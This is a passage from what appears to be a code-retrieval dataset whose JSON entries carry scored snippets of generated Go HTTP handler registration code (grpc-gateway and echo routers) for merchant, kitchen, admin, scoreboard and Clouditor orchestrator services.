outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AdminV1Service_CreateStaff_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AdminV1Service_CreateStaff_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "4c011f3bdc7fe57b05d78549dc2d67fd", "score": "0.61494493", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/logo\", wrapper.LogoGet)\n\trouter.GET(\"/ping\", wrapper.PingGet)\n\trouter.POST(\"/scoreboard/command\", wrapper.ScoreboardCommandPost)\n\trouter.DELETE(\"/scoreboard/prefs\", wrapper.ScoreboardPrefsDelete)\n\trouter.GET(\"/scoreboard/prefs\", wrapper.ScoreboardPrefsGet)\n\trouter.PUT(\"/scoreboard/prefs\", wrapper.ScoreboardPrefsPut)\n\trouter.GET(\"/scoreboard/prefs/default\", wrapper.ScoreboardPrefsDefaultGet)\n\trouter.GET(\"/scoreboard/status\", wrapper.ScoreboardStatusGet)\n\trouter.PUT(\"/scoreboard/status\", wrapper.ScoreboardStatusPut)\n\trouter.POST(\"/session\", wrapper.SessionPost)\n\n}", "title": "" }, { "docid": "f8567b33fb479674ce17277e21ceaa05", "score": "0.6146607", "text": "func RegisterMerchantsServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server MerchantsServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_MerchantsService_MerchantsMaterial_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MerchantsService_MerchantsMaterial_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MerchantsService_MerchantsMaterial_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_MerchantsService_MerchantsMaterialAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MerchantsService_MerchantsMaterialAudit_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MerchantsService_MerchantsMaterialAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MerchantsService_GetMerchantsMaterial_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MerchantsService_GetMerchantsMaterial_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MerchantsService_GetMerchantsMaterial_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_MerchantsService_MerchantsAssociateShop_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MerchantsService_MerchantsAssociateShop_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MerchantsService_MerchantsAssociateShop_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MerchantsService_SearchMerchantInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MerchantsService_SearchMerchantInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MerchantsService_SearchMerchantInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ac1096c86c0e69c28f91366f0192f28e", "score": "0.61339617", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface, m ...echo.MiddlewareFunc) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/health\", wrapper.MakeHealthCheck, m...)\n\n}", "title": "" }, { "docid": "ac1096c86c0e69c28f91366f0192f28e", "score": "0.61339617", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface, m ...echo.MiddlewareFunc) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.GET(\"/health\", wrapper.MakeHealthCheck, m...)\n\n}", "title": "" }, { "docid": "fa8c17c05752cd342b2184dbedd8d61a", "score": "0.61338043", "text": "func RegisterKitchenServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server KitchenServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_KitchenService_CreateKitchenOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_KitchenService_CreateKitchenOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_KitchenService_CreateKitchenOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_KitchenService_GetKitchenOrder_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_KitchenService_GetKitchenOrder_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_KitchenService_GetKitchenOrder_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "5ab281e61c82fd588fa9de854e119afd", "score": "0.6120641", "text": "func RegisterOrchestratorHandlerServer(ctx context.Context, mux *runtime.ServeMux, server OrchestratorServer) error {\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_RegisterAssessmentTool_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RegisterAssessmentTool\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_tools\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RegisterAssessmentTool_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RegisterAssessmentTool_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListAssessmentTools_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListAssessmentTools\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_tools\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListAssessmentTools_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListAssessmentTools_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetAssessmentTool_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetAssessmentTool\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_tools/{tool_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetAssessmentTool_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetAssessmentTool_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateAssessmentTool_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateAssessmentTool\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_tools/{tool.id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateAssessmentTool_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateAssessmentTool_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_DeregisterAssessmentTool_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/DeregisterAssessmentTool\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_tools/{tool_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_DeregisterAssessmentTool_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_DeregisterAssessmentTool_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_StoreAssessmentResult_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/StoreAssessmentResult\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_results\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_StoreAssessmentResult_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_StoreAssessmentResult_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetAssessmentResult_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetAssessmentResult\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_results/{id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetAssessmentResult_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetAssessmentResult_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListAssessmentResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListAssessmentResults\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/assessment_results\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListAssessmentResults_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListAssessmentResults_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_CreateMetric_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/CreateMetric\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_CreateMetric_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_CreateMetric_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateMetric_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateMetric\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics/{metric.id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateMetric_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateMetric_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetMetric_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetMetric\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics/{metric_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetMetric_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetMetric_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListMetrics_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListMetrics\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/metrics\"))\n\t\tif err != nil 